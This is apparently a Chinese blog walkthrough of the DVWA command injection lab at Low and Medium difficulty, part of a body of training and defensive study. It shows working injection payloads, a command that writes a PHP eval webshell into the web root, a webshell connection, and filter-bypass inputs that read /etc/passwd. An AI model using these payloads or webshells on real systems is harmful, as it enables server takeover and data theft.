DVWA_Vulnerability: Command Injection

Low

命令执行漏洞

什么是命令执行漏洞?

命令执行漏洞是指,攻击者能够通过应用程序,在运行该应用程序的服务器上直接执行任意的操作系统命令

简单来说,就是攻击者把你的服务器当成了他自己的终端,可以输入任何他想要的命令,比如查看文件、创建用户、下载病毒、删除数据等等

输入本地回环地址进行测试,即 127.0.0.1(注:127.0.0.1 - 这是最标准、最常用的环回地址)

可以看到这里执行了 ping 127.0.0.1 的命令

我们在终端执行 ping 命令是一样的捏

这类漏洞通常出现在Web应用程序中,当用户输入被直接传递给操作系统命令执行函数(如exec()system()popen()等)时,如果程序没有对输入进行严格的过滤和验证,攻击者就有可能通过注入特殊字符来执行任意命令。

这些特殊字符,即命令执行分隔符,在不同操作系统中有所不同:

  • 在Windows系统中,常见的分隔符包括:&|&&||

  • 在Linux系统中,除了上述字符,分号;也常被用作命令分隔符

首先我们来测试与(&/&&)

在 ping 127.0.0.1 的后面我们使用管道符与拼接继续执行命令 whoami

复制代码
127.0.0.1&whoami

可以看到除了执行 ping 命令,whoami 也被执行了,回显如下图:

再试试ipconfig

emmmm,雀食存在命令执行漏洞

试试不同的

复制代码
127.0.0.1&&ipconfig

我们再来ping个假的

复制代码
shuaige&&ipconfig

结果可以得出:当第一个命令执行失败(为假)

那么第二个命令(ipconfig)也不会被执行,这就是两个与的效果(&&)

我们再测试一个与

复制代码
shuaige&ipconfig

可以看到,虽然第一个命令执行失败,但是第二个命令还是被执行了,这就是一个与的效果(&)

前面的语句为假则直接执行后面的,前面可真可假,后面命令都会执行

接下来我们测试或(||、|)

复制代码
127.0.0.1|ipconfig

shuaige|ipconfig

可以看到

对于一个或, 无论第一个命令执行为真还是假,都是直接执行第二个命令

下面执行两个或(||)

复制代码
127.0.0.1||ipconfig

shuaige||ipconfig

可以看到对于两个或:

前面为真,只执行前面的,后面命令没有执行

若前面为假, 执行后面的,第二个命令被执行

最后我们尝试写入木马后门

首先使用 dir 命令查看当前目录下的文件

这里我们使用一个或,无论前面为真还是假,都直接执行后面的命令

复制代码
|dir

可以看到当前目录的位置路径,并且存在一个 index.php 即首页文件

我们尝试写入一个名为 shell.php 的一句话木马文件

这里在本地 cmd 测试是可行的,但是在靶场测试使用一个或却无法写入

因此我们换用与(&)即可

注意:在Windows系统下,尖括号 > 被用于输出重定向,因此如果直接在命令行中写入包含 > 的 PHP 代码,会被认为是输出重定向符号,从而导致语法错误。

我们需要使用 ^ 符号进行转义

复制代码
127.0.0.1&echo ^<?php eval($_POST[cmd]);?^> > D:\phpstudy_pro\WWW\DVWA\vulnerabilities\exec\shell.php

webshell 后门写入成功

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

写入 shell.php 后如果电脑开了防火墙或者杀毒软件肯定是会被检测到的,因为我们未做任何免杀处理,手动恢复文件即可

查看木马内容

调用shell.php

system 函数执行成功,回显存在一定乱码,但是可以看到文件名

我们使用蚁剑进行连接

测试连接成功

添加后进入

直接拿下整个网站后台

看一下简单模式的源代码

Medium

一、漏洞原理分析

Medium难度下,DVWA对命令注入漏洞进行了基础防护,通过黑名单过滤了部分敏感字符和命令连接符。经测试发现,常见的&&、;、&等连接符已被过滤,但仍存在可利用的绕过方式。核心漏洞依然是服务器未对用户输入进行严格的参数化处理,直接将输入拼接到系统命令中执行。

二、信息收集与测试

  1. 功能测试:在输入框中输入127.0.0.1,页面返回正常的ping命令执行结果,说明基本功能正常,输入被传递给后端系统命令。
  2. 初步注入测试:尝试输入127.0.0.1 && ipconfig(Windows系统)或127.0.0.1 && ifconfig(Linux系统),页面无返回或提示错误,推测&&被过滤。
  3. 连接符绕过测试
    • 尝试127.0.0.1 & ipconfig:无结果,&可能被过滤。
    • 尝试127.0.0.1 ; ipconfig:无结果,;可能被过滤。
    • 尝试127.0.0.1 || ipconfig:当第一个命令执行失败时才执行第二个命令,此处127.0.0.1ping成功,故无结果。
    • 尝试127.0.0.1 | ipconfig(管道符):页面返回了ipconfig的结果!说明|未被过滤,可用于连接命令。

三、漏洞利用步骤

  1. 基本命令执行:使用管道符|连接命令,输入127.0.0.1 | whoami,页面返回当前用户身份(如nt authority\system或www-data)。
  2. 多命令执行:由于|只能连接单个后续命令,若需执行多条命令,可将命令用&&的URL编码%26%26或其他未过滤字符分隔(需进一步测试)。例如,输入127.0.0.1 | dir %26%26 whoami(Windows),若%26%26未被过滤,可依次执行dir和whoami。
  3. 文件操作:输入127.0.0.1 | echo "test" > C:\test.txt(Windows)或127.0.0.1 | echo "test" > /tmp/test.txt(Linux),可在目标服务器写入文件。
  4. 权限提升探测:输入127.0.0.1 | net user(Windows)或127.0.0.1 | cat /etc/passwd(Linux),查看用户信息,为后续权限提升做准备。

四、防御绕过总结

Medium难度主要过滤了&&、;、&等连接符,但未过滤管道符|,可直接使用|连接命令执行。此外,还可尝试以下绕过方式:

  • 命令分隔符替换:如用%0a(换行符)、%0d(回车符)等特殊字符分隔命令,输入127.0.0.1%0awhoami。
  • 黑名单绕过:若部分命令被过滤(如cat),可用more、less、tail等替代,输入127.0.0.1 | more /etc/passwd。
相关推荐
BullSmall4 小时前
第三方软件安全-Dependency‑Track Docker 部署
安全·docker·容器
AImatters5 小时前
国产算力底座,支撑油气储运数字化迈过关键分水岭
安全·cpu·算力·海光·油气储运
叠叠乐8 小时前
中国移动家庭云电脑window关闭所有安全脚本
安全
Jmyd01238 小时前
实训室的 3D 模型涉及肖像文物,数据安全与合规怎么做?
安全·3d·数据安全·虚拟实训
芯盾时代8 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(三)
网络·安全·网络安全
敢敢是只喵i9 小时前
一个本地 AI Agent 要操作多个门店或 SaaS 账号,应该怎样安全切换身份?
人工智能·安全·ai·系统架构·业界资讯
Acrel12349 小时前
DC800V 大规模落地,算力机房安全该如何保障
安全
其实防守也摸鱼10 小时前
权限提升与横向移动:从内网渗透到域控的完整技术图谱
运维·服务器·数据库·安全·github·copilot·渗透
深圳海导科技10 小时前
资产防盗追踪系统:物联网高价值资产安全管理|海导科技navynav
科技·物联网·安全
波多利希最高礼仪的握力器11 小时前
安全复制SCP
linux·服务器·安全